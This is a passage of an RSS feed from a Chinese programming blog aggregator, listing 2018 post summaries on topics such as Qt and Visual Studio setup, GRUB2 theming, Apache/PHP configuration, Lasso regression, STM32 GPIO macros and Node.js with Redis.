      <description>VS2017配置QT5.9 1. 首先需要电脑你电脑上正确安装VS+QT&#xA;2. 目前VS2017已经内置支持QT了，&#xA;步骤 a.点击工具--&amp;gt;拓展和更新--&amp;gt;联机--&amp;gt;搜索QT--&amp;gt;选择Qt Visual studio tools 下载完关闭VS，插件会自动安装。&#xA;关闭重启VS2017&#xA;B.再次打开会多出这么一个选项&#xA;会弹出这么一个界面，第一次安装应该都是空的，需要自己添加&#xA;点击Add按钮&#xA;选择这个文件夹。&#xA;选择刚才添加的那个，现在我们已经基本配置完毕了。&#xA;接下来是运行时需要注意的了。&#xA;1.我们随意打开一个pro工程&#xA;然后构建发现报了这么多错误，这是因为vs2017包含头文件不是&#xA;#Include &amp;lt;stdio.h&amp;gt;&#xA;而是&#xA;#include&amp;lt;stdio&amp;gt;&#xA;Using namespace std;&#xA;解决方法：&#xA;“包含目录” 添加:C:\Program Files (x86)\Windows Kits\10\Include\10.0.15063.0\ucrt&#xA;“库目录” 添加:C:\Program Files (x86)\Windows Kits\10\Lib\10.0.15063.0\ucrt\x64 然后点击保存；&#xA;然后我们发现刚才的那些数据错误都消失了，但是出现了一个新的错误&#xA;解决方法：&#xA;右击项目名称，然后点击重定向项目。&#xA;直接点确定就好。&#xA;完美，没有错误了。&#xA;运行一下。&#xA;此时我们会遇到这么一个问题，就是我们的debug打印的日志在哪里显示呢？&#xA;解决方法：&#xA;我们再运行一下&#xA;当然打开新建项目，我们也可以创建QT项目了。&#xA;接下来我们可以很好的运用我们vs的调试器等功能了。</description>
    </item>
    <item>
      <title>go 同一个package下不同文件中函数调用报未定义问题</title>
      <link>https://bchobby.github.io/posts/4ff96aa1848ac9b558c8068a769431a3/</link>
      <pubDate>Fri, 15 Jun 2018 09:45:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ff96aa1848ac9b558c8068a769431a3/</guid>
      <description>代码如下：&#xA;hello.go文件&#xA;package main import &#34;fmt&#34; func hello() { fmt.Print(&#34;go =======&#34;) } main.go文件&#xA;package main func main() { hello() } 编译过程报错：&#xA;# command-line-arguments&#xA;test\main.go:10:3: undefined: hello&#xA;Process finished with exit code 2&#xA;出现这样的原因是hello.go文件并未编译&#xA;解决方式大致有两种&#xA;第一个：通过go命令编译，go run *.go 或 (go bulid . ，. run) 第二个 ：通过单元测试调用函数</description>
    </item>
    <item>
      <title>The Flask Mega-Tutorial 之 Chapter 8: Followers</title>
      <link>https://bchobby.github.io/posts/f1331d37df257028783518fa210cd92b/</link>
      <pubDate>Wed, 13 Jun 2018 11:12:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1331d37df257028783518fa210cd92b/</guid>
      <description>小引 社交网往往有相互关注的特性，本节即添加“Followers”特性。 重点是调整 db，使之能够追踪 who is following whom。&#xA;Database Relationships Revisited 理想的情况是，对每个 user 都能维护一个 list，里面包括它的两类 users （即 followers 和 followed），但 Relational Database 没有这种 list 类型。Database 只储存 users 的表，所以须找到一种 relationship 类型，能够表征（model） User 的 followers / followed 之间的 link。 Representing Followers Relationship Many-to-Many： followers - followed Self-referential： followers &amp;amp; followed belong to the same class User. Association Table: followers followers 表中，只存储了两类 ForeignKey，都指向 User 。 Database Model Representation 1、创建辅助表 followers&#xA;app / models.</description>
    </item>
    <item>
      <title>CentOS7.5更改grub2菜单背景&amp;开机动态画面</title>
      <link>https://bchobby.github.io/posts/a61683e178f8cef5af054c2fbfcb3ef4/</link>
      <pubDate>Tue, 12 Jun 2018 16:07:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a61683e178f8cef5af054c2fbfcb3ef4/</guid>
      <description>Grub2菜单背景 红帽企业版 Linux 7 的引导装载程序是“GRUB 2”。您可以更改“GRUB 2”外观的几个部分。以下几小节将向您展示如何改变 Linux 发行版名称、菜单颜色，和背景图片。&#xA;10.3.1. 发行版名称 默认情况下，“GRUB 2”显示含有发行版名称的标题。您可以通过自定义 /etc/default/grub 文件中的 GRUB_DISTRIBUTOR 变量，从而更改标题。&#xA;过程 10.3. 设置发行版名称&#xA;以 root 身份，打开 /etc/default/grub 文件。 使用 GRUB_DISTRIBUTOR 变量，来指定您自己的发行版名称。以下是 /etc/default/grub 文件的摘录。使用 GRUB_DISTRIBUTOR 变量来更新第二行： GRUB_TIMEOUT=5 GRUB_DISTRIBUTOR=Our Corporate Distro V1.2 GRUB_DEFAULT=saved GRUB_DISABLE_SUBMENU=true ... 3.以 root 身份运行以下命令，以确定更改生效：&#xA;grub2-mkconfig -o /boot/grub2/grub.cfg 注意&#xA;您需要在每次做更改后更新 /etc/default/grub 目录。 同时，您可以通过更改 /etc/grub.d/40_custom 纯文字档，或者通过在 /etc/grub.d/ 目录中添加其他文件，来改变“ GRUB 2”屏幕中显示的文本颜色或字体。您可以从以下指令中选择： set color_normal=foreground/background set color_highlight=foreground/background set menu_color_normal=foreground/background set menu_color_highlight=foreground/background 10.3.2. GRUB 2 背景 在默认设置中并没有配置“ GRUB”背景。然而，您依然可以添加图片到引导程序屏幕。 在您为“ GRUB 2”配置背景图片前，必须为“ gfxterm” 图形终端安装一个“ GRUB 2”Unicode 字体。因为没有默认提供的字体，所以前提是将现有的 TTF 或者 OTF 文件转换成“ GRUB 2”使用的 PF2 格式： 通过运行 grub2-mkfont 命令，来将现有的 TTF 或者 OTF 文件转换成 PF2 格式。为输出文件 unicode.</description>
    </item>
    <item>
      <title>markdown 图片并排显示</title>
      <link>https://bchobby.github.io/posts/627d3ade006f12579e7cd0f026089844/</link>
      <pubDate>Tue, 12 Jun 2018 16:03:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/627d3ade006f12579e7cd0f026089844/</guid>
      <description> 要一张图片接着一张图片的写，中间不能有换行。如果换行的话则图片也换行 正确的写法：&#xA;![描述](图片链接)![描述](图片链接)![描述](图片链接) 实例： 错误的写法：换行&#xA;![描述](图片链接) ![描述](图片链接) ![描述](图片链接) 实例： 居中并排： 正确写法：注意两个&amp;lt;img&amp;gt;之间不要换行，如果图片太大的的话可以设置图片的宽度或者高度，这样图片就会缩放。注意不要同时设置宽度和高度，这样的话不好把握宽度和高度的比例，可能会是图像变形。&#xA;&amp;lt;center class=&#34;half&#34;&amp;gt; &amp;lt;img src=&#34;图片链接&#34; width=&#34;200&#34;/&amp;gt;&amp;lt;img src=&#34;图片链接&#34; width=&#34;200&#34;/&amp;gt;&amp;lt;img src=&#34;图片链接&#34; width=&#34;200&#34;/&amp;gt; &amp;lt;/center&amp;gt; 实例：&#xA;&amp;lt;center class=&#34;half&#34;&amp;gt; &amp;lt;img src=&#34;https://img-blog.csdn.net/2018061215200776?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzIxODA4OTYx/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70&#34; width=&#34;200&#34;/&amp;gt;&amp;lt;img src=&#34;https://img-blog.csdn.net/20180612152032532?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzIxODA4OTYx/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70&#34; width=&#34;200&#34;/&amp;gt;&amp;lt;img src=&#34;https://img-blog.csdn.net/20180612152100203?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzIxODA4OTYx/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70&#34; width=&#34;200&#34;/&amp;gt; &amp;lt;/center&amp;gt; 显示结果： 左对齐并排： 还是注意所有的&amp;lt;img&amp;gt;标签写在一行中不要换行。&#xA;&amp;lt;figure class=&#34;third&#34;&amp;gt; &amp;lt;img src=&#34;https://img-blog.csdn.net/2018061215200776?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzIxODA4OTYx/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70&#34; width=&#34;200&#34;/&amp;gt;&amp;lt;img src=&#34;https://img-blog.csdn.net/20180612152032532?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzIxODA4OTYx/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70&#34; width=&#34;200&#34;/&amp;gt;&amp;lt;img src=&#34;https://img-blog.csdn.net/20180612152100203?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzIxODA4OTYx/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70&#34; width=&#34;200&#34;/&amp;gt; &amp;lt;/figure&amp;gt; 显示效果： 参考博客： (https://blog.csdn.net/WMN7Q/article/details/73138326 </description>
    </item>
    <item>
      <title>Could not retrieve transation read-only status server 的解决办法</title>
      <link>https://bchobby.github.io/posts/099b2158163f26573e7f277c9fb3bb1d/</link>
      <pubDate>Tue, 12 Jun 2018 09:48:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/099b2158163f26573e7f277c9fb3bb1d/</guid>
      <description>问题描述：&#xA;在项目开发的过程中，使用Hibernate的ORM进行建表时，出现 “ Could not retrieve transation read-only status server ”的异常，无法进行表的创建的操作，具体异常内容如下：&#xA;org.activiti.engine.ActivitiException: couldn&#39;t create db schema: create table ACT_GE_PROPERTY ( NAME_ varchar(64), VALUE_ varchar(300), REV_ integer, primary key (NAME_) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE utf8_bin&#xA;at org.activiti.engine.impl.db.DbSqlSession.executeSchemaResource(DbSqlSession.java:1242)&#xA;at org.activiti.engine.impl.db.DbSqlSession.executeSchemaResource(DbSqlSession.java:1138)&#xA;at org.activiti.engine.impl.db.DbSqlSession.executeMandatorySchemaResource(DbSqlSession.java:897)&#xA;at org.activiti.engine.impl.db.DbSqlSession.dbSchemaCreateEngine(DbSqlSession.java:874)&#xA;at org.activiti.engine.impl.db.DbSqlSession.dbSchemaUpdate(DbSqlSession.java:952)&#xA;at org.activiti.engine.impl.db.DbSqlSession.performSchemaOperationsProcessEngineBuild(DbSqlSession.java:1318)&#xA;at org.activiti.engine.impl.SchemaOperationsProcessEngineBuild.execute(SchemaOperationsProcessEngineBuild.java:28)&#xA;at org.activiti.engine.impl.interceptor.CommandInvoker$1.run(CommandInvoker.java:37)&#xA;at org.activiti.engine.impl.interceptor.CommandInvoker.executeOperation(CommandInvoker.java:78)&#xA;at org.activiti.engine.impl.interceptor.CommandInvoker.executeOperations(CommandInvoker.java:57)&#xA;at org.activiti.engine.impl.interceptor.CommandInvoker.execute(CommandInvoker.java:42)&#xA;at org.activiti.engine.impl.interceptor.TransactionContextInterceptor.execute(TransactionContextInterceptor.java:48)&#xA;at org.activiti.engine.impl.interceptor.CommandContextInterceptor.execute(CommandContextInterceptor.java:63)&#xA;at org.activiti.engine.impl.interceptor.LogInterceptor.execute(LogInterceptor.java:35)&#xA;at org.activiti.engine.impl.cfg.CommandExecutorImpl.execute(CommandExecutorImpl.java:44)&#xA;at org.activiti.engine.impl.ProcessEngineImpl.&amp;lt;init&amp;gt;(ProcessEngineImpl.java:81)&#xA;at org.activiti.engine.impl.cfg.ProcessEngineConfigurationImpl.buildProcessEngine(ProcessEngineConfigurationImpl.java:665)</description>
    </item>
    <item>
      <title>php.ini配置扩展</title>
      <link>https://bchobby.github.io/posts/9b71e8f84dac09a17e8c2ecc978466e7/</link>
      <pubDate>Mon, 11 Jun 2018 18:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b71e8f84dac09a17e8c2ecc978466e7/</guid>
      <description>针对之前的php+apache安装，未进行ini的设置，普通使用并无问题，但一些函数方法需要进行拓展才可使用，故需要进行php.ini配置 1.要配置php.ini。 首先打开php目录，复制1个php.ini-development ，修改为php.ini。&#xA;打开php.ini， 找到 ;extension_dir = &#34;ext&#34; ，把前面的分号去掉,或者复制一份，在复制的基础上修改，这里修改如下&#xA;2.解锁需要使用的插件，例如这里我们打开mbstring，打开后才可使用mb_strlen()等功能。&#xA;3.在apache中加入php.ini的路径&#xA;至此，我们就配置完毕了，别忘了重启apache才能生效哦，重启后用phpinfo(),就能看到mbstring这扩展了</description>
    </item>
    <item>
      <title>python PDF文件合并、图片处理</title>
      <link>https://bchobby.github.io/posts/07d0d0d92786005aab6f52f8352a068d/</link>
      <pubDate>Mon, 11 Jun 2018 16:15:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07d0d0d92786005aab6f52f8352a068d/</guid>
      <description>一.合并多个PDF文件 实例： #导入模块import codecs import os import PyPDF2 as PyPDF2 #建立一个装pdf文件的数组 files = list()#遍历该目录下的所有文件 for filename in os.listdir(&#34;C:\Python27\第二十八课 数据处理&#34;): #如果是以.pdf结尾的文件，则追加到数组中 if filename.endswith(&#34;.pdf&#34;): files.append(filename) #以数字进行排序（数组中的排列顺序默认是以ASCII码排序，当以数字进行排序时会不成功） newfiles = sorted(files,key=lambda d: int(d.split(&#34;.pdf&#34;)[0])) #进入该目录 os.chdir(&#34;C:\Python27\第二十八课 数据处理&#34;)#生成一个空白的PDF文件 pdfwriter = PyPDF2.PdfFileWriter() for item in newfiles: ##以只读方式依次打开pdf文件 pdfreader = PyPDF2.PdfFileReader(open(item,&#34;rb&#34;)) for page in range(pdfreader.numPages): # #将打开的pdf文件内容一页一页的复制到新建的空白pdf里 pdfwriter.addPage(pdfreader.getPage(page)) #生成all.pdf文件 with codecs.open(&#34;all.pdf&#34;,&#34;wb&#34;) as f: #将复制的内容全部写入all.pdf文件中 pdfwriter.write(f) 二.图片处理 图像处理是一门应用非常广的技术，而拥有非常丰富第三方扩展库的 Python 当然不会错过这一门盛宴。PIL （Python Imaging Library）是 Python 中最常用的图像处理库，如果你是python2.x，可以通过以下地址进行下载：http://www.pythonware.com/products/pil/index.htm，找到相对应的版本进行下载就可以了。&#xA;注意：PIL模块在python3.x中已经替换成pillow模块，直接使用pip3 install pillow即可安装模块，导入时使用from PIL import Image</description>
    </item>
    <item>
      <title>迁移pgsql数据库表中数据</title>
      <link>https://bchobby.github.io/posts/c81022f996697f99dc2f9b58fea930bf/</link>
      <pubDate>Mon, 11 Jun 2018 15:10:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c81022f996697f99dc2f9b58fea930bf/</guid>
      <description>从数据库到本地: pg_dump 数据库_name -U 用户_name -t 表_name -f 输出.sql&#xA;从本地到另一数据库: psql -h ip地址 -d 数据库_name -U 用户_name -password -f 输入.sql</description>
    </item>
    <item>
      <title>MySQL数据表增加字段</title>
      <link>https://bchobby.github.io/posts/fae4eebfd166f3a3f8c769ca8f249a9b/</link>
      <pubDate>Mon, 11 Jun 2018 11:36:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fae4eebfd166f3a3f8c769ca8f249a9b/</guid>
      <description>数据表 test_table，目前有字段id,name，想增加sex字段&#xA;sql语句：&#xA;ALTER TABLE `test_table` ADD COLUMN `sex` tinyint(2) NOT NULL DEFAULT 0 AFTER `name`; 设置默认值的时候一定要注意新增加字段的类型，否则会出错</description>
    </item>
    <item>
      <title>windows下配置apache&#43;php环境</title>
      <link>https://bchobby.github.io/posts/1331ea513b2d40b135ead3653697b350/</link>
      <pubDate>Mon, 11 Jun 2018 10:42:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1331ea513b2d40b135ead3653697b350/</guid>
      <description>【PHP】配置PHP7+Apache2.4 环境 首先讲一下电脑环境与版本: 电脑:window10-X64 Apache: httpd-2.4.33-o102o-x64-vc14-r2.zip （官网下载http://www.apachelounge.com/download/）&#xA;PHP: php-7.2.6-Win32-VC15-x64.zip） （官网下载https://windows.php.net/download/）&#xA;电脑32位系统的请下载X84的。&#xA;两个版本都为免装版，解压即可，为了方便管理，我们在C盘根目录建立Develop文件夹，将apache和php都解压到此处，如图：&#xA;故本次安装路径如下：&#xA;C:\Develop\Apache24&#xA;C:\Develop\Php&#xA;D:\www (存放php网站脚本的目录，DocumentRoot.)&#xA;好了，资源准备就绪，可以开始安装了。&#xA;首先配置Apache&#xA;1.以管理员身份运行cmd----进入安装目录的bin文件夹（cd C:\Develop\Apache24\bin）&#xA;2.# 安装 Apache 服务，‐n 参数是指定服务名称&#xA;httpd.exe ‐k install ‐n &#34;Apache&#34;&#xA;# 如果需要卸载 Apache，可以执行以下命令&#xA;httpd.exe ‐k uninstall ‐n &#34;Apache&#34;&#xA;执行安装命令过后会报一个错，原因是默认的配置文件有问题，需要先调整一下配置文件 conf/httpd.conf ，才能&#xA;正常启动服务。&#xA;找到 Apache 解压目录中的 conf 目录下的 httpd.conf 文件，定位到 37 行，将 c:/Apache24 改为解压目录，我这&#xA;里解压到路径是 C:/Develop/Apache24 ，（http.conf文件中路径都为反斜杠/，而不是\）所以我这里修改&#xA;修改完以后，执行以下命令重新测试配置文件是否通过。&#xA;这里任然报错：&#xA;通过错误信息得知，这里是因为另外一个地方配置的目录不存在导致的，所以接着调整 248 行的 DocumentRoot&#xA;选项：&#xA;默认 Apache 的网站根目录是安装目录中的 htdocs 文件夹，为了方便对网站文件的管理，一般我们会将其设置在</description>
    </item>
    <item>
      <title>Lasso回归</title>
      <link>https://bchobby.github.io/posts/c2cfc45d55a2e67669b6892d2c41d71b/</link>
      <pubDate>Sun, 10 Jun 2018 18:02:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2cfc45d55a2e67669b6892d2c41d71b/</guid>
      <description>维数灾难 高维数据 何谓高维数据？高维数据指数据的维度很高，甚至远大于样本量的个数。高维数据的明显的表现是：在空间中数据是非常稀疏的，与空间的维数相比样本量总是显得非常少。 在分析高维数据过程中碰到最大的问题就是维数的膨胀，也就是通常所说的“维数灾难”问题。研究表明，随着维数的增长，分析所需的空间样本数会呈指数增长。 如下所示，当数据空间维度由1增加为3，最明显的变化是其所需样本增加；换言之，当样本量确定时，样本密度将会降低，从而样本呈稀疏状态。假设样本量n=12,单个维度宽度为3，那在一维空间下，样本密度为12/3=4，在二维空间下，样本分布空间大小为3*3，则样本密度为12/9=1.33，在三维空间下样本密度为12/27=0.44。 设想一下，当数据空间为更高维时，X=[ x1 x 1 , x2 x 2 ,…., xn x n ]会怎么样？ 需要更多的样本，样本随着数据维度的增加呈指数型增长；数据变得更稀疏，导致数据灾难；在高维数据空间，预测将变得不再容易；导致模型过拟合。 维数灾难在分类问题中的体现 具体例子可以参考 机器学习:分类问题中的“维数灾难”&#xA;数据降维 对于高维数据，维数灾难所带来的过拟合问题，其解决思路是：1）增加样本量；2）减少样本特征，而对于现实情况，会存在所能获取到的样本数据量有限的情况，甚至远小于数据维度，即：d&amp;gt;&amp;gt;n。如证券市场交易数据、多媒体图形图像视频数据、航天航空采集数据、生物特征数据等。 主成分分析作为一种数据降维方法，其出发点是通过整合原本的单一变量来得到一组新的综合变量，综合变量所代表的意义丰富且变量间互不相关，综合变量包含了原变量大部分的信息，这些综合变量称为主成分。主成分分析是在保留所有原变量的基础上，通过原变量的线性组合得到主成分，选取少数主成分就可保留原变量的绝大部分信息，这样就可用这几个主成分来代替原变量，从而达到降维的目的。&#xA;但是，主成分分析法只适用于数据空间维度小于样本量的情况，当数据空间维度很高时，将不再适用。&#xA;Lasso是另一种数据降维方法，该方法不仅适用于线性情况，也适用于非线性情况。Lasso是基于惩罚方法对样本数据进行变量选择，通过对原本的系数进行压缩，将原本很小的系数直接压缩至0，从而将这部分系数所对应的变量视为非显著性变量，将不显著的变量直接舍弃。&#xA;Lasso回归 普通线性模型 惩罚方法 Lasso方法 Ridge方法 图形比较 以二维数据空间为例，说明lasso和Ridge两种方法的差异，左图对应于Lasso方法，右图对应于Ridge方法。 如上图所示，两个图是对应于两种方法的等高线与约束域。红色的椭圆代表的是随着 λ λ 的变化所得到的残差平方和， βˆ β ^ 为椭圆的中心点，为对应普通线性模型的最小二乘估计。左右两个图的区别在于约束域，即对应的蓝色区域。 等高线和约束域的切点就是目标函数的最优解，Ridge方法对应的约束域是圆，其切点只会存在于圆周上，不会与坐标轴相切，则在任一维度上的取值都不为0，因此没有稀疏；对于Lasso方法,其约束域是正方形，会存在与坐标轴的切点，使得部分维度特征权重为0，因此很容易产生稀疏的结果。 所以，Lasso方法可以达到变量选择的效果，将不显著的变量系数压缩至0，而Ridge方法虽然也对原本的系数进行了一定程度的压缩，但是任一系数都不会压缩至0，最终模型保留了所有的变量。&#xA;代码块 #加载模块 import numpy as np import matplotlib.pyplot as plt import time from sklearn.linear_model import Lasso from sklearn.metrics import r2_score from sklearn.linear_model import LassoCV from sklearn.</description>
    </item>
    <item>
      <title>嵌入式测试大赛实例解析</title>
      <link>https://bchobby.github.io/posts/f3d3e79a7741e21e42a5ad6754d7bfe6/</link>
      <pubDate>Sun, 10 Jun 2018 02:15:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3d3e79a7741e21e42a5ad6754d7bfe6/</guid>
      <description>明天就是嵌入式大赛的预选赛了，今晚加班写个博客 1、安装环境&#xA;下载了官方的安装包之后，官方给出了详细的安装说明，下载请看百度网盘地址： 链接：https://pan.baidu.com/s/1ngYQK3c2P1e367SFC3Q__A 密码：dwud&#xA;1.1、首先安装VSDP，具体的文件名为：&#xA;vspdxp_install.exe 1.2、配置虚拟串口 运行&#xA;vspdconfig.exe 在弹出来的软件页面中选择&#xA;COM5 COM6 这两个串口 1.3、安装ETest软件&#xA;ETest2018大赛专版-Setup.exe 1.4、运行Etest软件-进程调度服务 1.5、运行测试设计台 1.6、打开给定的测试项目文件 1.7、在“设备规划”上点击右键，选择“编辑”，打开设备规划 1.8、.选中“物理通道”下面的“232”，打开“属性”标签页，选择“端口名”为一对虚拟串口 中的一个 1.9、运行被测软件，启动服务，选择端口号 1.10、打开测试项目中的测试“功能 2” 1.11、首先进行“环境设置” 1.12、点击“运行” 1.13、使用对话框判断测试结果 1.14、查看界面输出结果&#xA;2、例题一 题目分享：链接：https://pan.baidu.com/s/1uPS_y3bo_OLRc0FFZqpvkw 密码：rsjg&#xA;题目由一个需求文档和测试要求给出，这是关于模拟水流监控计费器的题目 2.1、定义协议： 如仿真图所示，这里定义了Protocol_1和Protocol_2以及CH_232_1三种自定义通信类型。具体的实现如下&#xA;//协议Protocol_1 Protocol Main Segment 包头 StandardUInt16 Default=0X55AA ByteOrder=Big Segment 阀门控制器ID StandardUInt8 Default=0 Segment 水流监控计费器ID StandardUInt8 Default=0X20 Segment 瞬时流量 StandardFloat Default=0.0 Segment 计费标志 StandardUInt8 Default=0 Segment 管道压力 StandardFloat Default=0.0 Segment 校验和 CRC Algorithm=CRC_SUM_8 BitCount=16 Range=(16,0) Segment 包尾 StandardUInt16 Default=0X55AA ByteOrder=Big End //协议Protocol_2 Protocol Main Segment 包头 StandardUInt16 Default=0X55AA ByteOrder=Big Segment 水流监控计费器ID StandardUInt8 Default=0X20 Segment 阀门控制器ID StandardUInt8 Default=0 Segment 瞬时流量报警标志 StandardUInt8 Default=0 Segment 管道压力控制指令 StandardUInt8 Default=0 Segment 校验和 CRC Algorithm=CRC_SUM_8 BitCount=8 Range=(16,0) Segment 包尾 StandardUInt16 Default=0X55AA ByteOrder=Big End //协议CH_232_1似乎是系统定义的 遇到了一个报错 提示我协议没有定义，但是实际上协议是定义了的，只不过这两个东西没有嵌入起来 3、例题二 题目分享：链接：https://pan.</description>
    </item>
    <item>
      <title>STM32在16位IO高位被占用时统一操作高/低八位IO</title>
      <link>https://bchobby.github.io/posts/93d8d6a096c6abb80cce13842cd95b60/</link>
      <pubDate>Fri, 08 Jun 2018 19:14:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93d8d6a096c6abb80cce13842cd95b60/</guid>
      <description>参考网站&#xA;STM32中单独设置GPIO端口高8位/低8位的方法&#xA;操作STM32的IO可以使用库函数，但这样一次只能操作一位IO，对于需要同时操作8位IO，如使用无符号八位数由按键控制递增或递减控制8个开关的情况，则必须使用位带操作。常用的方法是使用GPIOx-&amp;gt;ODR=0xXXXX;的方法。但如果高八位IO已被占用，如用作输入，那么这个寄存器操作会直接导致输入失效。为此，使用BSRR寄存器操作来实现只对低八位IO的操作。&#xA;代码如下&#xA;#define GPIO_WriteLow(GPIOx,a) GPIOx-&amp;gt;BSRR=(((uint32_t)(uint8_t)~(a))&amp;lt;&amp;lt;16)|((uint32_t)(uint8_t)(a)) #define GPIO_WriteHigh(GPIOx,a) GPIOx-&amp;gt;BSRR=(((uint8_t)(uint8_t)~(a))&amp;lt;&amp;lt;24)|(((uint32_t)(uint8_t)(a))&amp;lt;&amp;lt;8) 对低位操作由参考网站BSRR寄存器图可以看到，BSRR高16位为复位，第十六位为置位，这样，程序就很好理解。(uint8_t)~(a)为对a取反，&amp;lt;&amp;lt;16表示左移十六位至BSRR高16位，(uint32_t)表示BSRR为32位寄存器。(uint32_t)(uint8_t)(a)为BSRR低16位寄存器操作，两者取或，就是对高16位的清零和低16位的置位进行操作，影响低八位的同时不影响高八位。对高八位操作同理，只是将a左移至高八位。</description>
    </item>
    <item>
      <title>如何选择隔离电源还是非隔离电源？</title>
      <link>https://bchobby.github.io/posts/c9fb86fcb39d89a49574e3bdfed07c0d/</link>
      <pubDate>Thu, 07 Jun 2018 21:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9fb86fcb39d89a49574e3bdfed07c0d/</guid>
      <description>参考链接：https://zhidao.baidu.com/question/402775303.html&#xA;直流隔离电源就是输出某个电压值的一个电源，输入端和输出端是隔离的。1、在一些实验室或高要求场合，为了实验人员的安全，一般将实验的输入电源采用1：1的工频变压器与市电进行隔离，这样一来，实验室实验人员无论碰到线路的哪一根线都不会有触电的危险，因为隔离电源与大地是没有连接的。2、在工业控制设备中，有时候要求两个系统之间的电源地线隔离，如隔离地线噪声、隔离高共模电压等，采用带变压器的直流变换器，将两个电源之间隔开，使他们相互独立，从而实现以上目的。3、每个模块单独供电，防止一个模块因受高压放电或其他原因导致损坏后殃及其他模块。这样做的目的可以保证每个模块独立工作，不受干扰。 原文链接：http://www.elecfans.com/dianyuan/540962.html&#xA;一、电源隔离与非隔离的概念&#xA;电源的隔离与非隔离，主要是针对开关电源而言，业内比较通用的看法是：&#xA;1、隔离电源：电源的输入回路和输出回路之间没有直接的电气连接，输入和输出之间是绝缘的高阻态，没有电流回路。&#xA;2、非隔离电源：输入和输出之间有直接的电流回路，例如，输入和输出之间是共地的。&#xA;隔离电源示意图如图所示。&#xA;二、隔离电源与非隔离电源的优缺点&#xA;由上述概念可知，对于常用的电源拓扑而言，非隔离电源主要有：Buck、Boost、Buck-Boost等;而隔离电源主要有各种带隔离变压器的反激、正激、半桥、LLC等拓扑。&#xA;结合常用的隔离与非隔离电源，我们从直观上就可得出它们的一些优缺点，两者的优缺点几乎是相反的。&#xA;使用隔离或非隔离的电源，需了解实际项目对电源的需求是怎样的，但在此之前，可了解下隔离和非隔离电源的主要差别：&#xA;1、隔离模块的可靠性高，但成本高，效率差点。&#xA;2、非隔离模块的结构很简单，成本低，效率高，安全性能差。&#xA;因此，在如下几个场合，建议用隔离电源：&#xA;1、涉及可能触电的场合，如从电网取电，转成低压直流的场合，需用隔离的AC-DC电源;&#xA;2、串行通信总线通过RS-232、RS-485和控制器局域网（CAN）等物理网络传送数据，这些相互连接的系统每个都配备有自己的电源，而且各系统之间往往间隔较远，因此，我们通常需要隔离电源进行电气隔离来确保系统的物理安全，且通过隔离切断接地回路，来保护系统免受瞬态高电压冲击，同时减少信号失真;&#xA;3、对外的I/O端口，为保证系统的可靠运行，也建议对I/O端口做电源隔离。&#xA;三、隔离与非隔离电源的应用场合&#xA;通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电选择，我们已可做成准确的判断：&#xA;1、系统前级的电源，为提高抗干扰性能，保证可靠性，一般用隔离电源。&#xA;2、电路板内的IC或部分电路供电，从性价比和体积出发，优先选用非隔离的方案。&#xA;3、对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源，为保证人身的安全，必须用隔离电源，有些场合还必须用加强隔离的电源。&#xA;4、 对于远程工业通信的供电，为有效降低地电势差和导线耦合干扰的影响，一般用隔离电源为每个通信节点单独供电。&#xA;5、 对于采用电池供电，对续航力要求严苛的场合，采用非隔离供电。</description>
    </item>
    <item>
      <title>Node.js  Redis 的使用</title>
      <link>https://bchobby.github.io/posts/857897e9e2cdb0aeeb22ec2cc08cb7e7/</link>
      <pubDate>Tue, 05 Jun 2018 14:27:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/857897e9e2cdb0aeeb22ec2cc08cb7e7/</guid>
      <description>Node.js Redis 基本功能：&#xA;缓存系统数据存储消息中介 基本工具&#xA;服务启动工具命令行GUI PS：在之前，需要安装redis对Nodejs的支持&#xA;https://redis.io/clients#nodejs&#xA;$ npm install redis 连接redis代码&#xA;var redis = require(&#39;redis&#39;); var client = redis.createClient(6379,&#39;localhost&#39;); client.set(&#39;hello&#39;,&#39;This is a value&#39;); 代码改造一下，利用程序获取redis中的值&#xA;var redis = require(&#39;redis&#39;); var client = redis.createClient(6379,&#39;localhost&#39;); client.set(&#39;hello&#39;,&#39;This is a value&#39;); client.get(&#39;hello&#39;,function (err,v) { console.log(&#34;redis get hello err,v&#34;,err,v); }) 其输出结果&#xA;假设我们把存储对象改成JSON对象，将会发生什么样的结果呢？&#xA;var redis = require(&#39;redis&#39;); var client = redis.createClient(6379,&#39;localhost&#39;); client.set(&#39;hello&#39;,{name:&#34;jacky&#34;,age:22}); client.get(&#39;hello&#39;,function (err,v) { console.log(&#34;redis get hello err,v&#34;,err,v); }) 程序将会报错，因为redis中存储的是字符串对象&#xA;我们需要重写toString方法&#xA;Object.prototype.toString = function(){ return JSON.</description>
    </item>
    <item>
      <title>MyBatis的parameterType传入参数类型</title>
      <link>https://bchobby.github.io/posts/ea201cea91c8c1244dbf7345729911e6/</link>
